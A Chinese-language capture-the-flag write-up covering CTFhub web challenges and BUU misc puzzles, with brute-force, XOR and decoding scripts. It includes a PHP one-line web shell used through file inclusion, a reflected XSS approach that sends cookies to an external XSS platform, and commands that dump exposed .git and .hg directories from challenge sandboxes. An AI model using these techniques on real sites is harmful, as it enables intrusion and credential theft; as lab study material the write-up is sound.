CTFhub技能树web & BUU杂项等
本文目录
xss反射型
xss先查看源码。找一下插入点
那随便插一个xss，其实没有过滤，直接弹窗了。
但是没有得到flag，然后看了大佬wp，才知道是要打出来cookie，注册一个xss平台，创建一个项目
然后复制一下环境的URL，在name后面加上payload
然后send，返回结果成功，回到xss平台查看项目
文件包含
shell.txt里面是
<?php eval($_REQUEST['ctfhub']);?>
request默认包含get和post方式，原本不知道，看了大佬的wp才学习到一个新姿势
使用file包含shell.txt然后结合利用命令执行
然后查看根目录
发现flag然后就是查看flag，用cat就可以。
git泄露——log
需要用到工具Githack这个工具——🔑https://github.com/BugScanTeam/GitHack
目前只支持python2，还有就是，使用这个工具需要安装git
先用工具处理一下
python GitHack.py http://challenge-ade6802494a678e6.sandbox.ctfhub.com:10080//.git/
然后切换至dist中的目录，使用命令git log查看历史记录
git log
然后diff一下remove的时候的提交记录。
第二种方法
使用命令git reset切换到add flag时的版本，就可以看到目录下生成了几个文件，点开txt文件就可以看到flag了。
git reset --hard 9606461bae67fe7941a3b4049d89be560a6e9386
git泄露——Stash
仍然使用Githack进行处理
接下来使用git stash list查看
再使用命令git stash pop从 git 栈中弹出来一个文件，文件内有flag
git泄露——Index
步骤跟log一模一样就可以，详细的不写了，直接贴个图叭。
HG泄露
使用工具——🔑https://github.com/kost/dvcs-ripper
这个工具也可解决svn泄露的题，但是我没有找到flag，找了wp，复现没成功。然后就放弃了。不过hg泄露也是没成功。懒得总结了，就直接写新知识。
命令就这个，其他全靠找。
./rip-hg.pl -v -u http://challenge-96fb44c6e263bd06.sandbox.ctfhub.com:10080/.hg/
情况呢，就是这么个情况，了解了这个知识就可以了，最起码操作是会了，找不到flag这个问题，不纠结了。
弱口令
都不用爆破的，都是admin
默认口令
用户名：eyougw
密码：admin@(eyou)
看大佬的wp是这样的。害，还是太年轻。
迟来的签到题
这个题，试了几种常见的密码，没有效果啊。有点头大，莫得思路。找了wp看的。发现这个题是有个提示的，但是CTFhub里没写。
提示：easy xor???
使用python2编写的脚本，这个是在网上找的。
https://blog.csdn.net/xiangshangbashaonian/article/details/83041029
from base64 import *
b=b64decode("AAoHAR1WX1VQVlNVU1VRUl5XXyMjI1FWJ1IjUCQnXlZWXyckXhs=")
data=list(b)#转成列表
for k in range(200):
flag=""
for i in range(len(data)):
flag+=chr(ord(data[i])^k)
print flag+"\n"
尝试编写python3的，但是失败了。在评论区看到一个大佬写的python3的，但是在这道题中用不了。我的是python3.7运行失败。
不过这个博主好像是我们学校的大佬。😁应该早就毕业了。不认识！
还原大师
脚本如下：
#-*- coding: utf-8 -*-
#!/usr/bin/env/python
import hashlib
m = 'TASC?O3RJMV?WDJKX?ZM'
for i in range(26):
temp1 = m.replace('?',str(chr(65+i)),1)
for j in range(26):
temp2 = temp1.replace('?',chr(65+j),1)
for k in range(26):
temp3 = temp2.replace('?',chr(65+k),1)
s = hashlib.md5(temp3.encode('utf-8')).hexdigest().upper()
if s[:4] == 'E903':
print(s)
原字符串有三个位置是不知道的，所以需要三个循环语句对这三个位置进行暴力猜解，最后使用切片判断字符串的大写MD5前四位是不是匹配E903，如果匹配就是flag
[GUET-CTF2019]虚假的压缩包
两个压缩包，一个虚假的压缩包，一个真实的压缩包。拖进010editor查看，虚假的压缩包是伪加密，破解得到一个文件
数学题
n = 33
e = 3
解26
-------------------------
答案是
一个简单的rsa，应该都用不到gmpy2这个模块
n=33
e=3
m=0
while m<100:
c=(m**e)%n
if (c==26):
print("c=",c)
print("m=",m)
m+=1
简单的爆破，
尝试密码，5是对的。所以真实的压缩包密码是答案是5
得到一张图片和一个文件
查看图片，看到图片宽高不一致，于是就改的长一点
看到了隐藏信息
^5异或5，呃呃呃，异或应该是脚本(默默去百度了大佬的wp)
python2的
f1 = open('./cxk','r')
xor_data = f1.read()
f1.close()
dec_data = ""
for i in xor_data:
tmp = int(i,16) ^ 5
dec_data += hex(tmp)[2:]
f2 = open('./cxkdemimi.doc','wb')
f2.write(dec_data.decode('hex'))
f2.close()
这里隐藏了一段，复制出来粘贴到记事本中就行了。
[SWPU2019]Network
看到这些比较晕，原本移位要画图描点什么的，network也不懂，就是看wp看大佬的思路。
先将这四位数字转换成8位二进制的数字，
63 00111111
255 11111111
127 01111111
191 10111111
每个数的前两位提取出来，然后就是提取后的一串数字，四位一组，转换成ascii码，
再将ascii码转换成16进制数，可以发现504B，是zip的文件头。
#-*- coding: utf-8 -*-
#!/usr/bin/env/python
fp = open('C:\\Users\\**********\\Desktop\\t.txt','r')
a = fp.readlines()
p = []
for i in a:
p.append(int(i))
s = ''
for i in p:
if i == 63:
a = '00'
elif i == 127:
a = '01'
elif i == 191:
a = '10'
elif i == 255:
a = '11'
s += a
import binascii
flag = ''
for i in range(0,len(s),8):
flag += chr(int(s[i:i+8],2))
flag = binascii.unhexlify(flag)
wp = open('C:\\Users\\*******\\Desktop\\ans.zip','wb')
wp.write(flag)
wp.close()
压缩包伪加密，好几处伪加密了，所以可以直接使用ZipCenOp直接解。
然后base64吧，手都酸了，
脑洞太小啊。
